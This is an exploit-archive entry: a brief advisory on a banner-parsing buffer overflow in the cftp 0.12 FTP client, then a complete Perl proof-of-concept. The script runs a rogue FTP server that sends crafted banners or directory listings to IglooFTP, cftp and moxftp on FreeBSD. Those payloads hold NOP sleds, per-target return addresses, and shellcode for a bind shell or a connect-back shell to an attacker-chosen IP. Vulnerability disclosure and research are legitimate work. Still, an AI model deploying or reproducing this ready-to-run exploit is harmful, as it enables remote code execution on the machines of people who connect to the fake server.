cftp 0.12 - Banner Parsing Buffer Overflow

source: https://www.securityfocus.com/bid/8160/info

A buffer overflow vulnerability has been reported in cftp. The vulnerability occurs when cftp is parsing 'Welcome' banner messages from remote FTP servers. When cftp receives an FTP banner exceeding a certain length, it will trigger the overflow condition. This could allow for execution of malicious code in the context of the FTP client.

#!/usr/bin/perl

# PoC exploit for iglooftp, cftp and moxftp for freebsd

# moxftp / mftp 2.2
# cftp 0.12
# Iglooftp 0.6.1

# Some of the code is fucked, the passive connection is a cheap hack and will not
# respawn, so the fake ftpd will have to be restarted... (only IglooFTP)
# Some RET adr's change, this can be fixed with gdb, look into it yourself..

# all the clients are from ports.. some may have been fixed, did this shit some 
# time ago..

# thanks to kokanin for help and advice
# code by inv[at]dtors

use IO::Socket;

sub convert_ret {
my($ret) = @_;
    
    for ($x=8; $x>0; $x=$x-2){
	$ret = substr($ret_temp,$x,2);
	$new_ret .= chr hex "$ret";
    }
return $new_ret;
}

sub convert_ip {
my($ip) = @_;

@ip_tmp = split(/\./, $ip);

for($x=0; $x<4; $x++) {
    $new_ip .= chr @ip_tmp[$x];
}
return $new_ip;
}

$server_port = 21;
$passive_server_port = 10324;

unless(@ARGV == 3 || @ARGV == 2) 
{ die 
"Usage ./DSR-ftp_clients.pl Shellcode Client Ip\n
\tShellcode:\t0 = Portbind
\t\t\t1 = Connect back\n
\tClient:\t\t0 = IglooFTP (FreeBSD 4.7)
\t\t\t1 = cftp (FreeBSD 4.7)
\t\t\t2 = Moxftp (FreeBSD 4.7)
\t\t\t3 = cftp (FreeBSD 5.0)
\t\t\t4 = IglooFTP (FreeBSD 5.0)
\t\t\t5 = Moxftp (FreeBSD 5.0)\n"
}

($shellcode_arg, $client_arg, $extra_arg) = @ARGV;

$user_ip = convert_ip($extra_arg);

@shellcode_list = (
    "Portbind,\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80",
    "Connect Back,\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68"."$user_ip"."\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80");

@client_list = (
    "IglooFTP - FreeBSD 4.7,188,0xbfbfc560,0",
    "cftp - FreeBSD 4.7,8192,0xbfbffb04,1,300",
    "mftp - FreeBSD 4.7,516,0xbfbff8e0,1,100",
    "cftp - FreeBSD 5.0,8196,0xbfbffa30,1,300",
    "IglooFTP - FreeBSD 5.0,212,0xbfbfc440,0",
    "mftp - FreeBSD 5.0,532,0xbfbff950,1,100");

@client_info = split(/,/,@client_list[$client_arg]);
@shellcode_info = split(/,/,@shellcode_list[$shellcode_arg]);

print "\tDSR-ftp_clients by inv\n
Setting up Service on Port: $server_port
Client: @client_info[0]
Using Shellcode: @shellcode_info[0]
Using Offset: @client_info[2]\n";

$shellcode = @shellcode_info[1];
$shellcode_length = length($shellcode);

$nop_count = @client_info[1] - $shellcode_length - 8;
$nops = "\x90"x$nop_count;

$ret_temp = @client_info[2];
$ret = substr($ret_temp,2,8);
$ret = convert_ret($ret);
$ret = "$ret"x2;

if(@client_info[3] eq "1") {
    $nops_x = "\x90"x@client_info[1];
    $nops_y = "\x90"x@client_info[4];
    $exploit_string = "$nops_x"."$ret"."$nops_y"."$shellcode";
}

if($client_arg == 0 or $client_arg == 4) {
	$exploit_string ="total 666
drwxr-xr-x	25 root wheel	1536 Jan 28 00:13 .
drwxr-xr-x	14 root wheel	 512 Jan 28 00:13 ..
-rwxr-xr-x	 2 inv	inv	 512 Jan 29 01:00 $nops$shellcode$ret";
}

$server = IO::Socket::INET->new(LocalPort => $server_port,
                                Type    => SOCK_STREAM,
                                Reuse   => 1,
                                Listen  => 10)
or die "Can't listen on $server_port : $!\n";

while ($client = $server->accept()) {
    
    if(@client_info[3] == 1) {
	print $client "220 $exploit_string\n";
    }
    
    if(@client_info[3] eq "0") {
	print $client "220 0xdeadcode\n";
	while($request !=~ /QUIT/i) {
	    $request = <$client>;
	    print $request;
	    
	    if($request =~ /PASS/i) {
		print $client "230 User anonymous logged in.\n";
	    }
	    
	    if($request =~ /USER/i) {
		print $client "331 Password required for anonymous.\n";
	    }
	
	    if($request =~ /SYST/i) {
		print $client "215 UNIX Type: L8\n";
	    }
	
	    if($request =~ /REST/i) {
		print $client "350 Restarting.\n";
	    }
	
	    if($request =~ /TYPE/i) {
		    print $client "200 Type set to A.\n";
	    }
	    
	    if($request =~ /PWD/i or $request =~ /FEAT/i) {
		print $client "257 \"/usr/home/inv/\" is current directory.\n";
	    }
	
	    if($request =~ /PASV/i) {
		$passive_server = IO::Socket::INET->new(LocalPort => $passive_server_port,
					Type 	=> SOCK_STREAM,
					Reuse 	=> 1,
					Listen 	=> 10)
		or die "Can't open passive port";
		print $client "227 Entering Passive Mode (127,0,0,1,40,84)\n";
	    }
	    
	    if ($request =~ /LIST/i) {
		while($passive_client = $passive_server->accept()){
		    print $client "150 Starting transfer.\n";    
		    print $passive_client $exploit_string;
		    close $passive_client;
		    print $client "226 BANG YOU ARE DEAD!!!\n";
		}
	    }	
	
	}
    close $client;
    }
}